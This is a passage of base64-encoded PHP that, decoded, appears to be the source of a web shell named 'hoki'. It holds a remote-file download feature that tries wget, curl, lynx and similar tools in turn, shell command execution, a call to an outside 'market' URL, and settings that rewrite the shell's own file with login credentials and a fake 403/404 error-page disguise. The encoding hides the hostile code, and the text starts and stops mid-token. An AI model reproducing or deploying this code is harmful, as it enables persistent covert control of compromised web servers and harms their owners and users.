TsKZWNobyBfX3ByZSgpOwppZihpc19hcnJheSgkdGFyZ2V0KSl7ZWNobygkdGFyZ2V0WyJ3aG9pc19yYXciXSk7fWVsc2V7ZWNobyBob2tpRXgoIndob2lzICIuJHNpdGUpO319CmVjaG8oIjwvZGl2PiIpOwp9CmZ1bmN0aW9uIGhva2lyZW1vdGVk
bCgpewpob2tpaGVhZCgpOwplY2hvKCI8ZGl2IGNsYXNzPSdoZWFkZXInPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgVXBsb2FkIEZyb20gVXJsIHw8L2Rpdj48L3A+PHA+Cjxmb3JtIG9uc3VibWl0PVwiZygncmVtb3R
lZGwnLG51bGwsdGhpcy5kLnZhbHVlLHRoaXMucC52YWx1ZSwnPj4nKTtyZXR1cm4gZmFsc2U7XCI+CjxwPjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVybDogPC9kaXY+Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2QnIH
NpemU9JzUwJz48L3A+CjxkaXYgY2xhc3M9J3R4dGZvbnQnPlBhdGg6PC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwJyBzaXplPSc1MCcgdmFsdWU9JyIuJEdMT0JBTFNbJ2N3ZCddLiInPjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhb
HVlPScgJz48L3A+CjwvZm9ybT48L3A+PC9jZW50ZXI+Iik7CmlmKGlzc2V0KCRfUE9TVFsnaG9raTEnXSwkX1BPU1RbJ2hva2kyJ10sJF9QT1NUWydob2tpMyddKSYmIWVtcHR5KCRfUE9TVFsnaG9raTEnXSkmJiRfUE9TVFsnaG9raTMnXT09Jz4+
Jyl7CmVjaG8gX19wcmUoKTsKJHVybCA9ICRfUE9TVFsnaG9raTEnXTsKJHBhdGggPSAkX1BPU1RbJ2hva2kyJ107CmVjaG8oJzxjZW50ZXI+Jyk7CmlmKF9fZG93bmxvYWQoJHVybCwkcGF0aCkpewplY2hvKCc8Zm9udCBjb2xvcj0iZ3JlZW4iPlN
1Y2Nlc3MuLi4hPC9mb250PicpOwp9ZWxzZXsKZWNobygnPGZvbnQgY29sb3I9InJlZCI+RXJyb3IuLi4hPC9mb250PicpOwp9CmVjaG8oJzwvY2VudGVyPicpOwp9CmVjaG8oIjwvZGl2PiIpOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gX19kb3
dubG9hZCgkdXJsLCRwYXRoPWZhbHNlKXsKaWYoIXByZWdfbWF0Y2goIi9bYS16XSs6XC9cLy4rLyIsJHVybCkpIHJldHVybiBmYWxzZTsKJHNhdmVhcyA9IGJhc2VuYW1lKHJhd3VybGRlY29kZSgkdXJsKSk7CmlmKCRwYXRoKXskc2F2ZWFzPSRwY
XRoLiRzYXZlYXM7fQppZigkY29udGVudCA9IF9fcmVhZF9maWxlKCR1cmwpKXsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpQHVubGluaygkc2F2ZWFzKTsKaWYoX193cml0ZV9maWxlKCRzYXZlYXMsICRjb250ZW50KSl7cmV0dXJuIHRydWU7fX0KJGJ1
ZmYgPSBob2tpRXgoIndnZXQgIi4kdXJsLiIgLU8gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGhva2lFeCgiY3VybCAiLiR1cmwuIiAtbyAiLiRzYXZlYXMpOwppZihAaXNfZmlsZSgkc2F2ZWF
zKSkgcmV0dXJuIHRydWU7CiRidWZmID0gaG9raUV4KCJsd3AtZG93bmxvYWQgIi4kdXJsLiIgIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGhva2lFeCgibHlueCAtc291cmNlICIuJHVybC4iID
4gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGhva2lFeCgiR0VUICIuJHVybC4iID4gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGhva2lFe
CgibGlua3MgLXNvdXJjZSAiLiR1cmwuIiA+ICIuJHNhdmVhcyk7CmlmKEBpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTsKJGJ1ZmYgPSBob2tpRXgoImZldGNoIC1vICIuJHNhdmVhcy4iIC1wICIuJHVybCk7CmlmKEBpc19maWxlKCRzYXZl
YXMpKSByZXR1cm4gdHJ1ZTsKcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGNsZWFuX3N0cmluZygkc3RyaW5nKXsKICBpZihmdW5jdGlvbl9leGlzdHMoImljb252IikpewoJICAkcyA9IHRyaW0oJHN0cmluZyk7CgkgICRzID0gaWNvbnYoIlVURi0
4IiwgIlVURi04Ly9JR05PUkUiLCAkcyk7CiAgfQogIHJldHVybiAkczsKfQpmdW5jdGlvbiBfX3JlYWRfZmlsZSgkZmlsZSwgJGJvb20gPSB0cnVlKXsKJGNvbnRlbnQgPSBmYWxzZTsKaWYoJGZoID0gQGZvcGVuKCRmaWxlLCAicmIiKSl7CiRjb2
50ZW50ID0gIiI7CndoaWxlKCFmZW9mKCRmaCkpewokY29udGVudCAuPSAkYm9vbSA/IGNsZWFuX3N0cmluZyhmcmVhZCgkZmgsIDgxOTIpKSA6IGZyZWFkKCRmaCwgODE5Mik7Cn0KQGZjbG9zZSgkZmgpOwp9CmlmKGVtcHR5KCRjb250ZW50KXx8I
SRjb250ZW50KXsKCSRjb250ZW50ID0gaG9raUV4KCJjYXQgJyIuYWRkc2xhc2hlcygkZmlsZSkuIiciKTsKfQpyZXR1cm4gJGNvbnRlbnQ7Cn0KZnVuY3Rpb24gaG9raU1hcmtldCgpewplY2hvICI8ZGl2IGNsYXNzPSdoZWFkZXInPiI7CiRjdXJs
ID0gbmV3IEhva2lDVVJMKCk7CiRjb250ZW50ID0gJGN1cmwtPlNlbmQoImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vbWFya2V0LnBocCIpOwokZGF0YSA9IEBqc29uX2RlY29kZSgkY29udGVudCwgdHJ1ZSk7CmlmKCFlbXB0eSgkZGF0YSkpewppZig
kZGF0YVsic3RhdHVzIl0gPT0gIm9wZW4iKXsKCWVjaG8gJGRhdGFbImNvbnRlbnQiXTsKfWVsc2V7CgllY2hvICRkYXRhWyJlcnJvcl9tc2ciXTsKfQp9ZWxzZXsKCWVjaG8gIjxkaXYgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZT
oyMHB4Oyc+Q2FudCBjb25uZWN0IHRvIHRoZSBob2tpIG1hcmtldC4uLi4hIHRyeSBsYXRlci48L2Rpdj4iOwp9CmVjaG8gIjwvZGl2PiI7Cn0KZnVuY3Rpb24gaG9raVNldHRpbmdzKCl7Cmhva2loZWFkKCk7Ckhva2lOdW0oNiw3LDgsOSwxMCk7C
mVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU2V0dGluZ3MgfDwvZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NldHRpbmdzXCcs
bnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwnbWFpblwnKSI+fCBHZW5lcmFsbCBTZXR0aW5nIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKaWYoJF9QT1NUWyJob2tpOCJdID09ICJtYWluIil7CmVjaG8gJzxwPjxjZW50ZXI
+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU2V0dGluZ3MgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0icmVsb2FkU2V0dGluZyh0aGlzKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+JzsKJGxnX2FycmF5ID0gYXJyYXkoJz
AnPT4nTm8nLCcxJz0+J1llcycpOwokcGVuY19hcnJheSA9IGFycmF5KCdmYWxzZSc9PidObycsJ3RydWUnPT4nWWVzJyk7CiRwcm90ZWN0X2h0bWwgPSAiIjsKJGljb25faHRtbCA9ICIiOwokcG9zdEVuY19odG1sID0gIiI7CiRsb2dpbl9odG1sI
D0gIiI7CiRjZ2lhcGlfaHRtbCA9ICIiOwpmb3JlYWNoKCRsZ19hcnJheSBhcyAka2V5PT4kdmFsKSRwcm90ZWN0X2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkR0xPQkFMU1snREJfTkFNRSddWydzYWZlbW9kZSddPT0nMSc/
J3NlbGVjdGVkJzonJykuJz4nLiR2YWwuJzwvb3B0aW9uPic7CmZvcmVhY2goJGxnX2FycmF5IGFzICRrZXk9PiR2YWwpJGljb25faHRtbCAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciICcuKCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Nob3dfaWN
vbnMnXT09JzEnPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsLic8L29wdGlvbj4nOwpmb3JlYWNoKCRwZW5jX2FycmF5IGFzICRrZXk9PiR2YWwpJGNnaWFwaV9odG1sIC49ICc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyIgJy4oIWVtcHR5KCRfUE9TVF
snaG9raTknXSkmJiRfUE9TVFsnaG9raTknXT09JGtleT8ic2VsZWN0ZWQiOigkR0xPQkFMU1siREJfTkFNRSJdWyJjZ2lfYXBpIl0mJmVtcHR5KCRfUE9TVFsnaG9raTknXSk/J3NlbGVjdGVkJzonJykpLic+Jy4kdmFsLic8L29wdGlvbj4nOwpmb
3JlYWNoKCRwZW5jX2FycmF5IGFzICRrZXk9PiR2YWwpJHBvc3RFbmNfaHRtbCAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciICcuKCFlbXB0eSgkX1BPU1RbJ2hva2k3J10pJiYkX1BPU1RbJ2hva2k3J109PSRrZXk/InNlbGVjdGVkIjooX19I
T0tJX1BPU1RfRU5DUllQVElPTl9fJiZlbXB0eSgkX1BPU1RbJ2hva2k3J10pPydzZWxlY3RlZCc6JycpKS4nPicuJHZhbC4nPC9vcHRpb24+JzsKJGxnX2FycmF5ID0gYXJyYXkoImd1aSI9PiJHVUkiLCI1MDAiPT4iNTAwIEludGVybmFsIFNlcnZ
lciBFcnJvciIsIjQwMyI9PiI0MDMgRm9yYmlkZGVuIiwiNDA0Ij0+IjQwNCBOb3RGb3VuZCIpOwpmb3JlYWNoKCRsZ19hcnJheSBhcyAka2V5PT4kdmFsKSRsb2dpbl9odG1sIC49ICc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyIgJy4oJEdMT0JBTF
NbJ0RCX05BTUUnXVsnbG9naW5fcGFnZSddPT0ka2V5PydzZWxlY3RlZCc6JycpLic+Jy4kdmFsLic8L29wdGlvbj4nOwplY2hvICcnOwplY2hvICc8dGFibGUgYm9yZGVyPSIxIj48dGJvZHk+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0e
WxlPSJjb2xvcjojRkZGRkZGIj5Qcm90ZWN0OjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0icHJvdGVjdCIgc3R5bGU9IndpZHRoOjEwMCU7Ij4nLiRwcm90ZWN0X2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPjxkaXYgY2xhc3M9
InRibHR4dCIgc3R5bGU9ImNvbG9yOiNGRkZGRkYiPkNnaSBBcGk6PC9kaXY+PC90ZD48dGQ+PHNlbGVjdCBuYW1lPSJjZ2lfYXBpIiBzdHlsZT0id2lkdGg6MTAwJTsiPicuJGNnaWFwaV9odG1sLic8L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD4
8ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5Qb3N0IEVuY3J5cHRpb246PC9kaXY+PC90ZD48dGQ+PHNlbGVjdCBuYW1lPSJwb3N0X2VuY3J5cHQiIHN0eWxlPSJ3aWR0aDoxMDAlOyI+Jy4kcG9zdEVuY19odG1sLic8L3
NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5TaG93IEljb25zOjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0iaWNvbiIgc3R5bGU9IndpZHRoOjEwMCU7Ij4nLiRpY29uX
2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5sb2dpbiBQYWdlOjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3Qgc3R5bGU9IndpZHRoOjEwMCU7IiBuYW1lPSJs
Z3BhZ2UiPicuJGxvZ2luX2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPjxkaXYgY2xhc3M9InRibHR4dCIgc3R5bGU9ImNvbG9yOiNGRkZGRkYiPlVzZXJOYW1lOjwvZGl2PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0
id2lkdGg6OTUlOyIgbmFtZT0idXNlcm5hbWUiIHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ2hva2kzJ10pPyRHTE9CQUxTWydEQl9OQU1FJ11bJ3VzZXInXTokX1BPU1RbJ2hva2kzJ10pLiciIHBsYWNlaG9sZGVyPSJraXNlcnlvdW5pIj48L3RkPj
wvdHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5QYXNzd29yZDo8L2Rpdj48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOjk1JTsiIG5hbWU9InBhc3N3b3JkIiBwbGFjZWhvb
GRlcj0iKioqKioiPjwvdGQ+PC90cj48L3Rib2R5PjwvdGFibGU+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZSIgdmFsdWU9IicuJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2FmZW1vZGUnXS4nIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJz
IiB2YWx1ZT0iJy4kR0xPQkFMU1snREJfTkFNRSddWydzaG93X2ljb25zJ10uJyI+PHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYnRuIiB2YWx1ZT0iICI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOwppZigkX1BPU1RbJ2hva2k1J109PSc+Pic
pewplY2hvIF9fcHJlKCk7CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kzJ10pKXsKJHByb3RlY3QgPSAkX1BPU1RbJ2hva2kxJ107CiRsZ3BhZ2UgPSAkX1BPU1RbJ2hva2kyJ107CiR1c2VybmFtZSA9ICRfUE9TVFsnaG9raTMnXTsKJHBhc3N3b3JkID
0gbWQ1KCRfUE9TVFsnaG9raTQnXSk7CiRpY29uID0gJF9QT1NUWydob2tpNiddOwokcG9zdF9lbmNyeXB0ID0gJF9QT1NUWydob2tpNyddOwokY2dpX2FwaV92YWwgPSAkX1BPU1RbJ2hva2k5J107CkBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnX
Sk7CiRiYXNlbmFtZSA9IEBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7CiRkYXRhID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRiYXNlbmFtZSk7CiR1c2VyX3JhbmQgPSAkR0xPQkFMU1siREJfTkFNRSJdWyJ1c2VyX3JhbmQiXTsKJHBhc3Nf
cmFuZCA9ICRHTE9CQUxTWyJEQl9OQU1FIl1bInBhc3NfcmFuZCJdOwokbG9naW5fcGFnZV9yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsibG9naW5fcGFnZV9yYW5kIl07CiRzYWZlbW9kZV9yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsic2F
mZW1vZGVfcmFuZCJdOwokc2hvd19pY29uc19yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsic2hvd19pY29uc19yYW5kIl07CiRwb3N0X2VuY3J5cHRpb25fcmFuZCA9ICRHTE9CQUxTWyJEQl9OQU1FIl1bInBvc3RfZW5jcnlwdGlvbl9yYW5kIl
07CiRjZ2lfYXBpX3JhbmQgPSAkR0xPQkFMU1siREJfTkFNRSJdWyJjZ2lfYXBpX3JhbmQiXTsKJGZpbmRfdXNlciA9ICcvXCcnLiR1c2VyX3JhbmQuJ1wnKC4qPyksL2knOwokZmluZF9wdyA9ICcvXCcnLiRwYXNzX3JhbmQuJ1wnKC4qPyksL2knO
wokZmluZF9sZyA9ICcvXCcnLiRsb2dpbl9wYWdlX3JhbmQuJ1wnKC4qPyksL2knOwokZmluZF9wID0gJy9cJycuJHNhZmVtb2RlX3JhbmQuJ1wnKC4qPyksL2knOwokaWNvbnMgPSAnL1wnJy4kc2hvd19pY29uc19yYW5kLidcJyguKj8pLC9pJzsK
JHBvc3RFbmMgPSAnL1wnJy4kcG9zdF9lbmNyeXB0aW9uX3JhbmQuJ1wnKC4qPyksL2knOwokY2dpX2FwaV9yZWcgPSAnL1wnJy4kY2dpX2FwaV9yYW5kLidcJyguKj8pLC9pJzsKaWYoIWVtcHR5KCR1c2VybmFtZSkmJnByZWdfbWF0Y2goJGZpbmR
fdXNlciwkZGF0YSwkZSkpewokbmV3ID0gJ1wnJy4kdXNlcl9yYW5kLidcJyA9PiBcJycuJHVzZXJuYW1lLidcJywnOwokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOwp9CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2k0J10pJiZwcm
VnX21hdGNoKCRmaW5kX3B3LCRkYXRhLCRlKSl7CiRuZXcgPSAnXCcnLiRwYXNzX3JhbmQuJ1wnID0+IFwnJy4kcGFzc3dvcmQuJ1wnLCc7CiRkYXRhID0gc3RyX3JlcGxhY2UoJGVbMF0sJG5ldywkZGF0YSk7Cn0KaWYoIWVtcHR5KCRsZ3BhZ2UpJ
iZwcmVnX21hdGNoKCRmaW5kX2xnLCRkYXRhLCRlKSl7CiRuZXcgPSAnXCcnLiRsb2dpbl9wYWdlX3JhbmQuJ1wnID0+IFwnJy4kbGdwYWdlLidcJywnOwokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOwp9CmlmKCFlbXB0eSgk
ZmluZF9wKSYmcHJlZ19tYXRjaCgkZmluZF9wLCRkYXRhLCRlKSl7CiRuZXcgPSAnXCcnLiRzYWZlbW9kZV9yYW5kLidcJyA9PiBcJycuJHByb3RlY3QuJ1wnLCc7CiRkYXRhID0gc3RyX3JlcGxhY2UoJGVbMF0sJG5ldywkZGF0YSk7Cn0KaWYocHJ
lZ19tYXRjaCgkaWNvbnMsJGRhdGEsJGUpKXsKJG5ldyA9ICdcJycuJHNob3dfaWNvbnNfcmFuZC4nXCcgPT4gXCcnLiRpY29uLidcJywnOwokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOwp9CmlmKHByZWdfbWF0Y2goJHBvc3
RFbmMsJGRhdGEsJGUpKXsKJG5ldyA9ICdcJycuJHBvc3RfZW5jcnlwdGlvbl9yYW5kLidcJyA9PiAnLiRwb3N0X2VuY3J5cHQuJywnOwokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOwp9CmlmKHByZWdfbWF0Y2goJGNnaV9hc
GlfcmVnLCRkYXRhLCRlKSl7CiRuZXcgPSAnXCcnLiRjZ2lfYXBpX3JhbmQuJ1wnID0+ICcuJGNnaV9hcGlfdmFsLicsJzsKJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsKfQppZihAZmlsZV9wdXRfY29udGVudHMoJGJhc2Vu
YW1lLCRkYXRhKSl7CmVjaG8gJzxiPlVzZXJOYW1lOiA8L2I+PGZvbnQgY29sb3I9ImdyZWVuIj48Yj4nLiR1c2VybmFtZS4nPC9iPjwvZm9udD48YnIgLz48Yj5QYXNzd29yZDogPC9iPjxmb250IGNvbG9yPSJncmVlbiI+PGI+Jy4kX1BPU1RbJ2h
va2k0J10uJzwvYj48L2ZvbnQ+PHNjcmlwdD5wb3N0X2VuY3J5cHRpb25fbW9kZSA9ICcuJHBvc3RfZW5jcnlwdC4nOzwvc2NyaXB0Pic7Cn1lbHNlewpfX2FsZXJ0KCI8c3BhbiBzdHlsZT0nY29sb3I6cmVkOyc+RmlsZSBoYXMgbm8gZWRpdCBhY2
Nlc3MuLi4hPC9zcGFuPiIpOwp9Cn1lbHNlewpfX2FsZXJ0KCI8c3BhbiBzdHlsZT0nY29sb3I6cmVkOyc+VXNlck5hbWUgaXMgRW1wdHkgITwvc3Bhbj4iKTsKfQp9Cn1lbHNlaWYoJF9QT1NUWyJob2tpOCJdID09ICJjb2xvciIpewplY2hvKCc8Y
2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEN1c3RvbSBDb2xvciB8PC9kaXY+PC9wPjxmb3JtIG9uU3VibWl0PSJyZWxvYWRDb2xvcnMoKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+Jyk7CmVjaG8gJzx0YWJs
ZSBib3JkZXI9IjEiPjx0Ym9keT4nOwokdGVtcGxhdGUgPSAnPHRyPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48YSBocmVmPSJodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1
sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmciIHRhcmdldD0iX2JsYW5rIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+SGVscDwvZm9udD48L2
E+PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGRpdiBjbGFzcz0idGJsdHh0Ij57aW5kZXh9PC9kaXY+PC90ZD48dGQ+PGRpdiBjbGFzcz0idGJsdHh0IiBzdHlsZT0ibWFyZ2luLWxlZnQ6NXB4OyI+e3RhcmdldH06PC9kaXY+P
C90ZD48dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDo2MHB4OyIgbXVsdGk9InttdWx0aX0iIGlkPSJndWlfe3RhcmdldH0iIG9uQ2hhbmdlPSJjb2xvckhhbmRsZXIodGhpcyk7IiB0YXJnZXQ9Ii57dGFyZ2V0fSIgdHlwZT0iY29sb3IiIHZhbHVlPSJ7
Y29sb3J9Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyIgbXVsdGk9InttdWx0aX0iIG9ua2V5dXA9ImNvbG9ySGFuZGxlcktleSh0aGlzKTsiIHRhcmdldD0iLnt0YXJnZXR9IiBpZD0iaW5wdXR
fe3RhcmdldH0iIGNsYXNzPSJjb2xvcnNfaW5wdXQiIHBsYWNlaG9sZGVyPSIjZmZmZmZmIiB2YWx1ZT0ie2NvbG9yfSI+PC90ZD48L3RyPic7CiR4ID0gMTsKZm9yZWFjaCgkR0xPQkFMU1snX19IT0tJX0NPTE9SX18nXSBhcyAka2V5ID0+ICR2YW
x1ZSl7CgkkbXVsdGkgPSAiIjsKCWlmKGlzX2FycmF5KCR2YWx1ZSkpewoJCWlmKGlzc2V0KCR2YWx1ZVsibXVsdGlfc2VsZWN0b3IiXSkpewoJCQkkbXVsdGkgPSBfX1pXNWpiMlJsY2coanNvbl9lbmNvZGUoJHZhbHVlKSk7CgkJfQoJfQoJJHZhb
HVlID0gaG9raV9nZXRDb2xvcigka2V5KTsKCSRoZWxwID0gc3RydG9sb3dlcihzdHJfcmVwbGFjZShhcnJheSgiOiIsICIrIiksIGFycmF5KCJfIiwgIl9wbHVzIiksICRrZXkpKTsKCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoIntpbmRleH0iLCAi
e3RhcmdldH0iLCAie2NvbG9yfSIsICJ7bXVsdGl9IiwgIntoZWxwfSIpLCBhcnJheSgkeCsrLCAka2V5LCAkdmFsdWUsICRtdWx0aSwgJGhlbHApLCAkdGVtcGxhdGUpOwp9CmVjaG8gJzx0cj48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI
+LTwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxkaXYgY2xhc3M9InRibHR4dCI+KjwvZGl2PjwvdGQ+PHRkPjxkaXYgc3R5bGU9Im1hcmdpbi1sZWZ0OjVweDsiIGNsYXNzPSJ0Ymx0eHQiPlVzZSBEZWZhdWx0IENvbG9yOjwvZG
l2PjwvdGQ+PHRkPjwvdGQ+PHRkPjxjZW50ZXI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBpZD0idXNlX2RlZmF1bHRfY29sb3IiIHZhbHVlPSIxIj48L2NlbnRlcj48L3RkPjwvdHI+JzsKCmVjaG8gJzwvdGJvZHk+PC90YWJsZT48cD48aW5wdXQgd
HlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L3A+PC9mb3JtPjxwPjxidXR0b24gc3R5bGU9InBhZGRpbmc6NHB4OzttYXJnaW4tcmlnaHQ6MjBweDsiIG9uY2xpY2s9IiQoXCdpbXBvcnRGaWxlQnRuXCcpLmNsaWNrKCk7IiBjbGFz
cz0iYnV0dG9uIj4gSW1wb3J0IDwvYnV0dG9uPiA8YnV0dG9uIHN0eWxlPSJwYWRkaW5nOjRweDttYXJnaW4tbGVmdDoyMHB4OyIgb25jbGljaz0iZyhcJ3NldHRpbmdzXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ2V4cG9
ydFwnLFwnY29sb3JcJykiIGNsYXNzPSJidXR0b24iPiBFeHBvcnQgPC9idXR0b24+PC9jZW50ZXI+PC9wPic7CmlmKCRfUE9TVFsnaG9raTcnXT09J2V4cG9ydCcpewoJZWNobyBfX3ByZSgpOwoJJGNvbG9ycyA9IGlzX2FycmF5KCRHTE9CQUxTWy
JEQl9OQU1FIl1bImNvbG9yIl0pPyRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl06YXJyYXkoKTsKCSRnbG9iX2NvbG9ycyA9ICRHTE9CQUxTWyJfX0hPS0lfQ09MT1JfXyJdOwoJJGFycmF5ID0gYXJyYXkoKTsKCWZvcmVhY2goJGdsb2JfY29sb
3JzIGFzICRrID0+ICR2KXsKCQlpZihpc3NldCgkY29sb3JzWyRrXSkmJiFlbXB0eSgkY29sb3JzWyRrXSkmJiEkaXNfZGVmYXVsdCl7CgkJCSR2ID0gdHJpbSgkY29sb3JzWyRrXSk7CgkJfWVsc2V7CgkJCSR2ID0gdHJpbShpc19hcnJheSgkdik/
JHZbImtleV9jb2xvciJdOiR2KTsKCQl9CgkJJGFycmF5WyRrXSA9ICR2OwoJfQoJJGZpbGUgPSAiaG9raV9jb2xvcl9jb25maWdfIi5kYXRlKCdZLW0tZC1oX2lfcycpLiIuY29uZiI7CgkkY29uZmlnID0ganNvbl9lbmNvZGUoJGFycmF5LCBKU09
OX1BSRVRUWV9QUklOVCk7CglpZighQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkY29uZmlnKSl7CgkJZWNobygnPHA+PGNlbnRlcj5Db2xvciBDb25maWc6PGJyPjxicj48dGV4dGFyZWEgcm93cz0iMTIiIGNvbHM9IjcwIiB0eXBlPSJ0ZXh0Ij
4nLiRjb25maWcuJzwvdGV4dGFyZWE+PC9jZW50ZXI+PC9wPicpOwoJfWVsc2V7CgkJZWNobygnPGgzPjxwPjxjZW50ZXI+PGEgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzX
CcsbnVsbCxcJycuJGZpbGUuJ1wnLCBcJ2Rvd25sb2FkXCcpIj48Zm9udCBjb2xvcj0iIzBGMCI+RG93bmxvYWQgQ29uZmlnPC9mb250PjwvYT48L2NlbnRlcj48L3A+PC9oMz4nKTsKCX0KfQppZigkX1BPU1RbJ2hva2kyJ109PSc+PicpewoJZWNo
byBfX3ByZSgpOwoJJGNvbG9ycyA9IGpzb25fZGVjb2RlKCRfUE9TVFsiaG9raTEiXSx0cnVlKTsKCSRhcnJheSA9ICIiOwoJJGlzX2RlZmF1bHQgPSBpc3NldCgkX1BPU1RbImhva2kzIl0pJiYkX1BPU1RbImhva2kzIl09PSIxIj90cnVlOmZhbHN
lOwoJJGdsb2JfY29sb3JzID0gJEdMT0JBTFNbIl9fSE9LSV9DT0xPUl9fIl07Cglmb3JlYWNoKCRnbG9iX2NvbG9ycyBhcyAkayA9PiAkdil7CgkJaWYoaXNzZXQoJGNvbG9yc1ska10pJiYhZW1wdHkoJGNvbG9yc1ska10pJiYhJGlzX2RlZmF1bH
